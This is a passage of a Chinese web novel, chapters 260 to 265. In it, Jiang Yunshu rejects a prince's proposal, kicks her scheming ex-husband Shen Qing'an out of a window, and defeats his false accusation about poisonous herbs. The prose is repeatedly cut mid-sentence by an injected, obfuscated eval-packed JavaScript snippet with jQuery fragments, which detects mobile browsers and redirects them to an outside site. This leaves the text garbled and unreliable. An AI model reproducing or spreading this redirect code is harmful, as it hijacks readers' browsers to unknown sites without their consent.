段知白还没说话,姜云舒已经过了月亮门,他眼睛转了转,扭头看向旁边的白芷。 “刚才是说,宫里来的赏赐?” 第260章 我是她儿子 “是啊,县主可厉害了,宫里时不时会有赏赐呢。”白芷一脸得意。 之前为皇上挡刀,后来又施粥,安置灾民,县主的赏赐可是别人羡慕都羡慕不来的。 “听说,宫里赏赐的可都是好东西呢,带我去长长见识呗?” 段知白眨巴着一双人畜无害的眼睛,见白芷还犹豫,紧忙白胸脯保证,“我就在屏风后面躲着,保证不给舒姐姐惹事,看完就赶紧离开。” 白芷犹豫了一下,想着毕竟是在县主府,能闹出什么事儿来? 此时姜云舒已经到了前厅,抬眼看去,五六个侍卫分列两边,中间摆放着两个红木箱子,箱子打开,里面的东西一眼便让人有琳琅满目的感觉。 视线随着脚步往里看,此时等在正厅的并不是常见的内侍公公,而是一身锦衣华服的六皇子。 此时,六皇子正喝茶,抬眼瞧见姜云舒过来,紧忙将杯盏放下,站起身来。 “姜云舒,你来了!” 说话间,六皇子已经走了过来。 “参见六殿下。”姜云舒上前行礼。 “哎呀,在孤面前,你不必多礼。”六皇子紧忙伸手扶住她,随即招招手,跟在旁边的公公紧忙拿着圣旨上前。 姜云舒紧忙下跪听旨。 公公细长的声音在大厅响起,是芷妃娘娘的赏赐。 简而言之,之前姜云舒送去的灵参发挥了作用,扶住芷妃生产时母子平安,如今皇上封赏,芷妃便特意给姜云舒领了一份赏赐。 等公公念完赏赐礼单,六皇子便一脸兴奋的将姜云舒拉了起来。 “母妃说,这次多亏有了你送的灵参提气,姜云舒,你怎么这么好呢!” 六皇子一边说着,摆摆手让人将赏赐抬下去,等人都撤了,他便从腰间掏出快令牌,送到姜云舒跟前。 “这是我府上的令牌,拿着这令牌,便可自行出入,不会有人拦着你,往后你有任何事都可以过来找孤。” 姜云舒垂眸看一眼那令牌,并没有接。 “我之前所做都是应该的,芷妃娘娘已经给了赏赐。” 自行出入府上的令牌,那便是进门的钥匙,平白无故将自家钥匙给过来,姜云舒便是再迟钝也能明白六皇子这是什么意思。 “母妃赏赐是母妃赏赐的,这令牌是孤想给你的。” 见姜云舒不接,六皇子便将令牌放在桌上,“明年我便可行及冠之礼,届时父皇要为我选一位端庄贤良的王妃,你知道的,我中意之人是你,你若也……” “六殿下!” 姜云舒被六皇子这话吓到,不等他说完,紧忙打断,“与六殿下相配之人,应该是门当户对,知书达理的高门贵女,我不合适。” “有什么不合适的?孤说合适就合适!而且,这件事已经禀明母妃,母妃也是点头答应了的,只要你答应,我便即刻禀明父皇!”六皇子说起来,面上带着激动。 在他看来,只要母妃能点头,这件事便已经成了一半,如今只要姜云舒再点头,那就成了。 姜云舒瞧着他衣服殷切的模样,沉沉叹一口气。 “六殿下应该知道,我是成过亲的,而且,如今我们身份也不相配。” 在世人眼里她是罪臣之女,即便皇上下令不追究女眷,可出身已经算是抹了黑,而六皇子,出身矜贵,若非皇后娘娘身负战功,他便是正统的嫡出。 “孤不在乎!孤在乎的是你这个人,孤喜欢你。” 六皇子一下子抬高了声音,“哪怕姜将军曾经犯过错,他在孤心中,依旧是保家卫国的英雄,说不定,我们成婚,父皇还能赦免你全家,届时将他们接回京,你不希望这样吗。” 说到兴奋之处,六皇子伸手一把握住姜云舒的手。 “你,你给我放手!” 突如其来的一声怒吼,惊得六皇子一哆嗦,猛地转身,就见一个十来岁的孩子从屏风后面蹿了出来。 “你放手,放手!” 段知白冲过来,一把将六皇子的手拽了下来,“六殿下是吧,那你**这条心吧,姜云舒喜欢的是成熟稳重的,你这种年纪小带着稚气的,她不喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387614|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢。” 一句话,说得姜云舒和六皇子脸上的表情都跟着僵住。 虽说这话也没什么错,可从段知白嘴里说出来,怎么就那么别扭呢? “你是谁?” 六皇子回过神来,视线在段知白身上打量。 段知白这才意识到自己冲动了,扭头朝姜云舒看去,见她表情并未有太大变化,当即脖子一横。 “我是她儿子,想娶我娘,先过我这一关!” “噗——” 姜云舒一口茶直接喷了出来。 不是,这孩子可真是张口就来,什么都敢说啊! 虽说自己的确比他大了不少,可她这个年纪是能生出这么大儿子的吗! 六皇子也一脸惊愕,顿时瞪大了眼睛,看看姜云舒又看看段知白。 “你,你什么时候……” “这是我师父收的学徒,算是我师弟。” 姜云舒紧忙打圆场,说着,将段知白拉在身后。 段知白被挡着,还有点不服气,歪着头从姜云舒身后探出来,继续说。 “师父说了,皇城高墙,那是困人一辈子的地方,要娶我阿姐,难不成六殿下是下定决心做一世王爷吗?” “你!” 六皇子伸手指着段知白,可是嘴角动了动,却一句话都没有说出来。 他当然不可能为了姜云舒做一世王爷。 从启蒙开始,母妃就和皇后憋着一口气,母妃总说,皇后之位保不住,太后之位总要争一争。 他是喜欢姜云舒,可为了姜云舒放弃皇位的追求,这不可能,甚至都不用考虑。 六皇子的沉默不语,便是他的答案,段知白“哼”了一声,抬手给自己倒了一杯茶。 “我师姐是大瑞朝第一位休夫的女子,六殿下应该明白,她要嫁之人,必须将她放在第一位,而不是在诸多权益之后才判定她为最合适娶的那个,所以,六殿下还是收了这心思吧。” 说着,他朝六皇子举了举手中的杯盏。 端茶送客。 第261章 沈大人,节哀 六皇子抬头看姜云舒,姜云舒同样也朝他举了举杯盏,这件事,本就没有再说的必要。 “罢了,果真是我太过急躁了。” 六皇子抿了抿唇,依旧将令牌留下,“即便你不嫁,也是我的救命恩人,这令牌你留着吧,保不齐有用到的时候。” 说完,六皇子起身往外走。 段知白跟着往外走了两步,确认六皇子真的出了门,这才回过身来。 “舒姐姐这样受欢迎,难怪兄长这么着急回京,再不回来,舒姐姐怕是要被人抢了去。”段知白眨眨眼。 姜云舒比他高一些,垂眸迎着他的视线,眉梢轻挑。 “小小年纪,竟然对情感之事这般有见解,小白白,你不得了啊!” 说着,她伸手在段知白脸颊上捏了捏,“你又是如何知道,我要嫁什么样的人?” “是哥说的啊!”段知白脸颊被捏着,说话有些漏风,“当时得知沈清安带原配回京时,娘也曾劝他,说不定你能接受平妻,可哥说,你并不是能在感情上妥协的性子,若不能全心交付,你宁缺毋滥。” “他是这样说的?” 姜云舒眼神微微凝滞,不等段知白回答,又问,“这么说来,他回京之前就已经知道沈清安和高芝兰的事?” 段知白一愣,意识到自己说多了,“啪”的一巴掌捂在嘴巴上。 “小白!” 姜云舒睨着眼睛看他,声音之中带着威胁,“你若实话实说,我保不齐能有让你在京城多留些日子的办法,你若不说,我现在就将你送去皇上面前!” “舒姐姐你别这样,我害怕……” 段知白缩了缩肩膀,在姜云舒眼神威逼之下,还是妥协了。 “是,自定国将军府出事后,我哥便派人去了岩城,自然也就知道了沈清安和那原配的事。” 一边说着,段知白撩起眼皮朝姜云舒看一眼,见她不动声色,接着说。 “依照哥的性子,原本我还以为他会直接处置了那负心汉,可他什么都没做,他说,这是你的事情,你有自己的打算。” 这些事情从段知白口中听到,姜云舒只觉心口突突的跳,好像有什么涌出来,向着全身散开。 她从来不知道,谢无烬竟然会懂她。 他的关切不是背地里帮她解决麻烦,而是给她足够的空间和时间自行处理,的确,即便姜云舒在定国将军府时是众星捧月的存在,但她从来都不是愿意躲在别人身后被保护的那一个。 见姜云舒脸色变化却一直没有说话,段知白忍不住开口。 “舒姐姐?” 他一时摸不清楚姜云舒的喜怒,试探性地解释一句,“我哥之所以没有立刻告诉你,一来是因为你们并不相熟,他没有提醒的立场,二来,他是想让你自己看清楚那**,否则,他的话对于你来说,便是挑拨离间。” 段知白也不知道自己的这一番话是不是给兄长招了麻烦,但此时他一颗心算是提到了嗓子眼。 姜云舒被段知白的声音拉回来,扭头看他一眼,又问:“这又是你哥说的?” “没,这是我娘后来说的。”段知白垂着脸,捏着自己的衣角。 完了,这是闯祸了吧? 他小心翼翼的观察着姜云舒的表情,然而,片刻之后,姜云舒原本郁结的面色忽然舒展开来。 “走吧,去用早膳,然后我带你去京城最繁华的街道。” “真的?” 段知白眼睛一亮,兴奋之下抓住姜云舒的衣袖,“不是说京城小吃特别多吗,咱么别在家里用了,直接出去吃吧!” 倒也不是不行。 “那你去换一套衣服。”姜云舒应道。 “得嘞,我这就去!” 说着,段知白转身就往外跑。 姜云舒瞧着段知白那跳跃的身影,忍不住舒一口气,她一抬手压住胸口,唇角勾起隐约的笑意。 京城和边境相去甚远,此时段知白所见皆是新鲜。 一路上,姜云舒的马车停下无数遍,马夫前前后后买了十几样小吃,几乎要将马车里的小桌子塞满。 段知白吃得两腮鼓鼓的,眼睛里闪着光,一边吃着,一边兴奋的从车帘朝外面看。 原本半个时辰的路程,在段知白这也买那也要的喊声中,生生走了将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392682|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近两个时辰。 等马车在繁荣街停下,段知白更是像脱了缰的野狗似的冲了出去,这动静比当初荣小爷来京时还要大。 “月禾,你先带小白四处逛逛,等我跟韩掌柜合了账便出来找你们。”姜云舒吩咐着,抬手给了月禾一张银票。 “是!” 月禾应着,伸手将银票接过来,紧忙去追段知白。 姜云舒这边则直接去了仁春堂,刚到门口,尚未开口,只见韩掌柜朝她使眼色。 “东家,沈大人清早便来了,说是找你有要事商议。”韩掌柜道。 “沈清安?他来做什么?”姜云舒当即眉心一蹙。 昨日高芝兰刚刚下葬,按理说,沈清安应该在府上接待吊丧的宾客,怎的有时间出来? “他是来拿归心丸的?”姜云舒问。 这个时间来仁春堂,姜云舒能想到的便是沈家老夫人又犯了病。 然而,韩掌柜却只是摇摇头,“没说拿药,说是有重要的事要跟东家说,说我还不够格。” 说话时,韩掌柜不经意的撇了撇嘴。 仁春堂大掌柜还不够格,沈清安要谈的得是多大的事儿! 猜测没有意义,姜云舒虽不怎么愿意搭理他,但他既然来了,总得摸清楚他葫芦里卖的什么药。 “我上去看看。” 姜云舒应一声,抬脚朝二楼走去。 到雅间,沈清安一壶茶已经快要见底,姜云舒再不来,他肺叶子都得飘起来了。 听得门外脚步声,沈清安紧忙放下杯盏,起身迎了出来。 “云舒,你终于来了。” 姜云舒下意识后退半步,抬头,视线带着几分疏离,愣愣吐出几个字。 “沈大人,节哀。” 节,节哀! 是,他沈家刚刚**人。 沈清安脸上表情变化微妙,强撑着平静,侧身将姜云舒让了进来。 进了屋,沈清安上前给姜云舒倒了一杯茶递到跟前,姜云舒垂眸看一眼,并没有接。 “沈大人,我们之间就没有必要绕弯子了,你来我仁春堂究竟所谓何事?” 第262章 沈清安,你敢威胁我 姜云舒的语气明显冷淡,并没有给沈清安客套的余地。 沈清安嘴角的笑容僵了一下,随即深吸一口气,进入正题。 “我知道,虽然你我和离,但你依旧时常关注沈家,你……” “沈清安,你说话之前,最好掂量掂量自己的分寸!” 姜云舒冷声打断他,“第一,你我不是和离,而是休夫,第二,我对你沈家没多大兴趣,所有我能知道的消息,皆源自坊间流传,是你沈家的动静太大,而不是我刻意关注。” 沈清安被结结实实噎住,似是无语地眨眨眼睛,却一句话都反驳不出口。 憋了半晌,他深吸一口气,“就算如你多说,那你也应该知道,如今我与恭王府郡主关系亲密。” “哦。” 姜云舒敷衍地应一声,随即扭头,视线在沈清安身上扫过,“到底是探花出身,沈大人这张脸的确挺有迷惑性的。” 当年她也是因为这张脸,一时间竟猪油蒙了心,迷失了自我。 她言语之间是称赞,可看向沈清安的眼神之中却透着无边的嘲讽。 沈清安却未曾察觉,他目光闪了闪,眼底带过得意又故作深沉。 “就算你这样说,我们之间也已经结束,如今我要安心守在郡主身边,再无他想。” “你且放一百个心,我这个人,吐出去的东西是不可能再吃的,恶心一次就够了,不过,听你这番话,我倒是挺为高芝兰不值的,为你沈家付出这么多年,最终却只落得个衣冠冢。” 说着,她挑眉,视线在沈清安脸上扫过,声音微微压低,“没猜错的话,高夫人的尸身还没找到吧?” 她手腕微转,杯盏落于桌上,杯底轻磕桌面,发出震颤人心的声响。 沈家的丧事办得大张旗鼓,可依照礼节流程又是匆匆忙忙,仿佛尽快将那棺材入土,方可判定这个人已经从这个世上消失,沈家人才能安心。 此时被姜云舒挑破外层的伪装,探及内里,沈清安自己心虚,只觉一股寒凉从脊背蔓延上来。 “姜云舒,你究竟想说什么?”他攥紧了拳头。 姜云舒睨了他一眼,勾唇浅笑。 “我又没说你为了娶恭王府郡主而对原配下**,沈大人这是在紧张什么?” 沈清安:“……” 他心虚,紧张,却又强制压着涌上来的不安。 姜云舒瞧着他浑身紧绷的模样,忍不住轻声浅笑。 “既然你找到了真爱,那便祝你们白首不相离。” 说着,她抬手举起杯盏,自顾抿了一口。 沈清安咬着后槽牙,强行保持平静,听姜云舒语气回转,稍稍松一口气。 “难得你大度。”他下意识接了一句。 姜云舒眼皮轻挑,无声的哼笑一声,“大度不至于,我只是已经和过去割断,倒是沈大人,此时又来找我究竟所谓何事。” 沈清安的视线在姜云舒脸上打量,揣度着她此时的心情,随即开口。 “你知道的,郡主身份尊贵,我若娶她,总得准备丰厚的聘礼,可你离开沈家后,已经搬空了大半数的库房,我总要充盈一些的。” 这话听进耳朵里,姜云舒忍不住笑出了什么。 “当初没能让你沈家分走我半数的嫁妆,可真是对不住你了!” 沈清安面色一讪。 “我不是那个意思,我们之间的事,我不怪你,不过,我有个小忙,需要你帮忙。” 说着,他顿了一下,抬头去看姜云舒。 姜云舒正喝茶,撩了撩眼皮,没说话,沈清安便继续说。 “是这样的,我听说,薛神医曾经救过恭王妃的性命,在恭王府曾被奉为上宾,待恭王入京,届时想请薛神医帮我在恭王面前说说……” “呵!” 姜云舒放下杯盏,抬头迎着沈清安试探的视线看过去,眼中嘲讽没有丝毫掩饰,“沈大人这副好看的皮囊,原来都是堆砌出来的,以前倒是没发现这么厚!” “你……”沈清安面色一僵,“你什么意思?” “什么意思都听不出来,沈清安,你可真是个棒槌!” 姜云舒手中的杯盏顿在桌上,她的手腕稍稍用了一些力气,杯盏中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392683|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的茶水都溅了出来。 “我入你沈家门三年,不说掏心掏肺,也是勤勤恳恳为你母亲和兄弟操持过,是你沈清安薄情寡义对不起我,如今你哪里来的脸敢让我师父赔着脸面替你说话!沈清安,你可真是拿你自己当个东西了!” 此时,姜云舒已经算是破口大骂了。 沈清安原本还堆着笑脸,此时被姜云舒这一骂,笑容一下子僵在脸上,脸色跟着逐渐沉了下来。 “原本,我以为你会顾念一点旧情,你既然如此狠绝,那也就别怪我无情了。” 说着,沈清安从怀中掏出一张地图拍在桌上,抬手朝其中一位置指了指,“崇光寺后山湿地的大片草药,是你种植的吧?这可不是京城本地生长的草药。” 他太高了声音,此时看向姜云舒时,眼神之中还多了几分居高临下的威胁感。 私自种植异域药草,可是要被处罚的,之前沈清安就被罚银,勒令全数拔除,总共损失将近万两。 而此时,崇光寺后山湿地的那一片草药,可比他之前种植的数量还要大,更重要的是,那还是有毒的药草,若是告发,保不齐还要入狱。 “沈清安,你这是在威胁我?”姜云舒眉心微蹙,看向沈清安的眼神又沉了几分。 “随便你怎么想!”沈清安昂着脖子。 一个人能恶心到什么程度呢? 没皮没脸没下限,狼子野心,大概都不足以形容此时沈清安这番嘴脸。 姜云舒下意识攥紧了拳头,她很烦闷,不是因为烦闷被他威胁,而是恨自己当初究竟是被什么脏东西上了身,竟然选了这么个令人作呕的东西。 “我用不着想,沈大人看不惯,大可去京兆府报官。”她压住一口气。 “你说什么?” 沈清安似是没想到姜云舒这般强硬,猛地转过身,一脸难以置信地看向她。 “我说,让你滚!” 话音刚落,姜云舒抬起一脚便踹在了沈清安的心口。 沈清安还没反应过来,人已经废了出去,伴随着长长的“啊”声,急速朝着街道上砸了下去。 第263章 高空坠物很危险 此时月禾带着段知白正好回来,冷不丁见一个人从二楼飞了下来,想都没想,一个飞身上去补了一脚,救下前面两个险些被砸到的路人。 “楼上谁啊,高空坠物很危险的!” 段知白朝着二楼喊了一声,紧接着就见姜云舒身子微微侧过来。 “舒姐姐?” 段知白愣住,下意识扭头看向被他踢开的人,“你刚才扔什么东西了?” 东西? 街上众人朝着沈清安落下的位置看去,这才意识到,落下来的“东西”捂着肚子躺在地上嚎叫。 段知白走过去,居高临下的看着沈清安。 “你是什么人?” 此时沈清安正躺在地上,疼得龇牙咧嘴,惨白的脸上都是汗珠子,便是段知白一眼瞧见也忍不住倒吸一口凉气。 这姐姐,下手真黑啊! 沈清安疼得说不出话来,倒是月禾走过来,一眼认出了他。 “沈清安?你对我家小姐做了什么!”月禾一张脸顿时冷了下来。 “沈清安?” 段知白跟着喊了一句,紧接着抬脚又往他身上给了一脚,“你就是那个忘恩负义的骗婚死渣男?臭不要脸的东西,还敢出现!” 沈清安一口气还没有缓过来,胸口又结结实实挨了一脚,这一脚直踢心窝子,差点让他吐了血。 “小畜生,你竟敢袭击朝廷官员!”沈清安捂着心口,眼睛带刀子似的瞪着段知白,“你是什么人?” “我是你七舅姥爷!” 段知白怒吼一声又要上前,却被月禾一把拉住。 “听说沈大人家里刚办了丧事,此时来找我家小姐,难不成是因为我们没有给份子钱?您这脸皮可别太厚!” 刚才的动静头很大,引得街上众人纷纷朝这边看过来,此时听得月禾的几句话,一时间忍不住小声一路。 “哎呀,原来是那位沈大人啊!” “可不就是那位,听说是骗婚,被县主休夫了的那位。” “哎哟,也不知道是不是报应,这不,最近那原配也没了,保不齐这位是克妻的命格呢!” 众人的议论声传入沈清安耳中,原本僵冷的脸上更添了隐层阴霾。 来之前,他以为手上的把柄足以让姜云舒对他低眉顺眼,却没想到,她非但丝毫不在意,还直接动了手。 被人从二楼扔下来这种事,对于沈清安来说,已经是撕破脸皮了。 “好,你们真是好的,既然如此,可别后悔!” 沈清安咬着牙,踉踉跄跄站起身来,转身往外走。 月禾抬头看了一眼,此时姜云舒已经关了窗户。 “走吧,我们进去。”月禾伸手去拉段知白。 段知白的视线收回,此时转身,眉头却拧了起来。 “我怎么瞧着,那**一脸阴险虚伪之相,并不是光明磊落之人,他该不会给舒姐姐背地里使绊子吧?” “呵,没想到,你小小年纪还会看面相呢,你还别说,以前他和那原配可没少给小姐使绊子。” 月禾忍不住挑了挑眉,“不过尽管放心,咱们将军府里出来的,也从来不是能吃亏的。” 听她这样说,段知白稍稍松一口气,没给她惹事便好。 说话间,两人便进了仁春堂,此时韩掌柜正和姜云舒核对账目,见两人进门,姜云舒下意识朝段知白看了一眼。 “买这么多?”姜云舒忍不住开口。 且不说月禾跟段知白已经抱了满怀的物件,就外面跟着的两个人放下的东西已经快将仁春堂的门口堵住了。 “到底是京城,好东西就是多呢,我看着哪样都喜欢,除了我喜欢,我还要给我娘带回去呢。”段知白一脸兴奋。 姜云舒却是一脸无奈。 “你若喜欢,等你回去时,你哥自会给你置办,现在买了有什么用?” “才不会,你可不知道,我哥抠着呢。” 段知白一边说着,朝姜云舒跟前凑了凑,压低声音都说小话,“我以前看我哥腰间坠着一个雕刻麒麟的黄金香笼很精致,便跟他要,他当即就拒绝我了,哼,还说送我生辰礼物呢,一个小小的香笼都不给,真是小气!” 让段知白这样愤愤不平的不只是谢无烬小气不给他礼物,而是当时他不过是摸了一下,结果被他狠狠地瞪了一眼,那眼神,着实让他吓了一跳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397917|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此时段知白正告着黑状,却不想姜云舒听到“黄金香笼”几个字时,表情有了微妙的变化。 麒麟黄金香笼…… 不知怎么,姜云舒脑子里忽然闪过一个熟悉的画面。 大概是比段知白年纪还要小的时候,父亲曾以他们几个年纪相仿的孩子组成了一支麒麟队,队伍由大哥率领,她是其中年纪最小的,另外还有除了二哥之外的几个孩子。 那些孩子也是将门之后,在大哥的带领下,麒麟队通过试炼,父亲便给没人发了一个雕刻麒麟的黄金香笼。 当时回京时,姜云舒将那黄金香笼留给了母亲做念想。 只是,他们那个队伍里有谢无烬吗? 姜云舒只记得有这么一回事,可细想之下,却又记不起当年的详细情况了。 那一年试炼结束后,她和月禾在结冰的河面上捉鱼,发现了埋伏,她当机立断拦住敌人让月禾回去报信,却在逃跑时坠落冰窟。 娘说当时她发了很严重的热,醒来以后,有些事情便记不清楚了。 她忘了一些事情,也似乎忘了一些人。 “小白,你说的黄金香笼是什么样的?”姜云舒问。 “就是镂空的,上面雕刻着麒麟,很精致。” 说话间,段知白抬手拿过姜云舒手里的笔,低头在药方的纸上画。 黑色的墨迹落在黄色的药方纸张上,眼看着一个龙珠样式的黄金香笼便跃然于纸上。 段知白画完轮廓之后,又换了一支笔,小心翼翼的瞄着那好黄金香笼上的雕刻。 姜云舒低头看他画,一边看着,脑子里那熟悉的画面再次闪过。 可还不等画完,却听得门外传来一声高喝。 “乐安县主可在店里?” 姜云舒闻声扭头,就见关捕头和几个衙役正在门口,与此同时,站在他们身边一脸幸灾乐祸的还有沈清安。 沈清安似乎缓过一口气,此时站在衙役之后,脸色因为兴奋而涨红。 “呵,私自种植毒性异域药草,该当何罪!” 他昂着脖子,朝姜云舒大喊一声,“姜云舒,这是你逼我的,此时再求我也没有用了!” 第264章 揭老底 繁荣街本就人多,此时沈清安造出这么大的声势,一时间引来众人纷纷驻足在仁春堂门口。 仁春堂门面大,但架不住人多,一时间,里面看病拿药的,外面看热闹的,将仁春堂围了个水泄不通。 “哎哟,这是怎么回事?难不成仁春堂又出事了?” “你这话什么意思?仁春堂什么时候出过事?” “虽说不上出事,但仁春堂最近的热闹可是不少,如今又是什么热闹?” “没听见吗,说是私自种植异域毒草,那可是大罪吧!” 一时间,里里外外的看客忍不住议论起来,尤其是听到“毒草”两个字,众人的脸上不由得浮现出恐惧之色。 老百姓不知道什么药理,但凡沾染上“毒”字,便下意识认为是害人的东西。 这些年,仁春堂在繁荣街收治病人,救济灾民,于百姓心中那是救苦救难的地方,怎的背地里还弄些个害人的东西? 听得围观百姓的议论,沈清安面上更是浮现出一层得意,他脖子一昂,看向姜云舒。 “你这个人,向来这般执拗,非要闹到不可回头,如今你可别说我不念旧情。” “你这**……” 段知白在旁边听着,一张脸气得涨红,眼看就要冲出来,然而,刚一动,却被身旁的月禾压住肩头。 他扭头,见月禾朝他无声的摇了摇头。 月禾的眼神比平常多了几分认真,一时间便让段知白那股子冲燥的劲儿散了。 见他收了力,月禾手腕一转,将他拽到了身侧,避开邢恪的视线。 此时姜云舒的注意力在沈清安身上,听得他挑衅的言语,没接话,只是挑着眉梢在他脸上扫过,眼神一如往常平静,却又透着一股若有似无的轻视。 这个眼神看得沈清安心里没底,可如今已经到了跟前,也只能强撑。 “邢大人,崇光寺后山那片湿地的药草您也已经确认过了,姜云舒应该无话可说。” 京兆府尹邢恪扭头看了沈清安一眼,不知怎的,此时眼前这张脸虽然俊秀,却让他忍不住想一巴掌打过去。 沈家前两日才办丧事,死的还是沈清安回京时大摇大摆迎回来的“原配”,为了那位原配,甚至要将大张旗鼓迎进家门的姜云舒降为妾室。 当初沈家的事情闹到京兆府时,邢恪还以为,沈清安与那位原配是有多伉俪情深,结果如今头七还没过,他脸上这得意,真真与所谓的“深情厚谊”格格不入。 邢恪在京城做了五年的京兆府尹,此时看着沈清安那小人得志的模样,难免让他心中多了几分怀疑。 京兆府的人还在搜尸,沈家就迫不及待的办了丧事,而同样是被**挟持,高芝兰的马车坠落悬崖,但沈家老夫人却安然无恙…… 正想着,耳边再次传来沈清安迫不及待的声音,邢恪微微蹙眉,看向姜云舒。 “乐安县主可有何要说?”他问。 “这还有什么可说!同样是京城之内种植异域药草,邢大人自然清楚应该如何处罚,不,姜云舒种植的药草可是带毒性的,自应当罪加一等。” 沈清安扬着眉毛,仿佛姜云舒的罚款能补给他似的。 “沈大人这么兴奋做什么?便是我出了事,与你又何干?” 姜云舒挑眉睨了他一眼,随即一摆手,月禾尽快上前,将一份文书送到她手上。 她接过文书,抬手送到邢恪手中。 “还请邢大人验看。”她说。 邢恪接过来,低头细看。 沈清安一时诧异,凑过去看邢恪手里的文书,他站在侧面看不清楚,却见邢恪看完之后,扭头看向沈清安。 “看来,沈大人还得随本官去一趟京兆府了。” “什,什么?” 沈清安眼睛瞪大,“邢恪,你这是什么意思?是姜云舒私自种植异域药草,你应该带她去京兆府,带我做什么?” 此时围观百姓也是一脸震惊。 “不是说乐安县主种植毒草吗,怎么犯事儿的是这位举报的大人?” “哎哟,你是新来的吧,竟然不认得这位举报的大人便是被乐安县主休夫的那位?” “那这说起来,大概是报复了,难不成,是栽赃陷害?” “那可保不齐,以前这位沈大人和那原配在仁春堂对面开了家尚品堂,也没少动歪心思,要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16397918|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是仁春堂身正不怕影子斜,怕是要挤兑出繁荣街了!” 此时百姓的议论声再次入沈清安耳中,沈清安脸上的得意一下子散开,转而多了几分紧张。 “邢大人,这里是京城,你可要谨慎一些才好。”沈清安强迫自己镇定下来。 邢恪转过身来,抬手,将刚才那文书展现于沈清安面前。 “这是崇光寺后山湿地的使用授权,其中涉及种植药草已经过御药局批准,那批药草是合理合规的。” 说着,邢恪将那授权书收回来,转手交还给姜云舒,又接着道:“沈大人身为朝廷命官,未经核实便来京兆府投状,投的还是赤令状,如今乐安县主无罪,那么沈大人得随本官前往京兆府了。” 话音落,关捕头带着几个衙役上前一步,将沈清安围住。 “这,这怎么可能!” 沈清安脸上的惊恐一下子放大,“崇光寺可是国寺,姜云舒凭什么能在崇光寺的地界儿种植药草!” 想到这里,他似乎一下子抓到了什么重要的证据,忽然间惊恐的表情里又多了几分兴奋。 “对,那里可是崇光寺,姜云舒在皇家寺院的地界儿种植药草,本就是大罪。” 依照大瑞律法,如崇光寺这等皇室直属的地界儿,是不允许个人持有的,便是方丈也不可买卖土地,这罪名可要比私自种植异域药草要大得多。 “邢恪,你应该抓的是姜云舒,是姜云舒!”沈清安瞪大眼睛看向姜云舒。 邢恪深吸一口气,正要开口,却见听旁边姜云舒忍不住轻笑出声。 “所以说,沈大人在做一件事之前,最好查清楚,刚才的授权书,白纸黑字写的很清楚,是授权种植,而不是将地卖给我。” 姜云舒再次拿着文书在沈清安面前,又面向里里外外的百姓解释。 “京城风沙多,尤其春假季节,极易引发咳症,而崇光寺后山湿地种植的黑芥草虽有微毒,却是治疗咳症的一味重要药材,而此时,崇光寺免费分发的消疾水,其中的黑芥草便来自后山湿地。” 说话间,她歪着头看向门外。 “赵田,孙二娘,您家咳症的病人可好了?” 第265章 这次是我告你 此时被点名的赵田和孙二娘面上一顿,紧忙回答。 “是了,之前我家孩子咳症严重,来仁春堂拿药,结果韩掌柜让我去崇光寺领那消疾水,回去给孩子喝了三日便止了咳,我原以为是菩萨慈悲,未曾想,这菩萨却是县主啊!”赵田回过神来,顿时一脸激动。 “对对对,没错,我家老太太也是咳得厉害,奈何我家实在是没有钱买药,当初也是厚着脸皮想来仁春堂赊药,结果小二给我支到了崇光寺,当时我还以为是被嫌弃,却不想竟是县主的善举啊!” 说话间,两人齐齐转向姜云舒,“扑通”一声跪了下来。 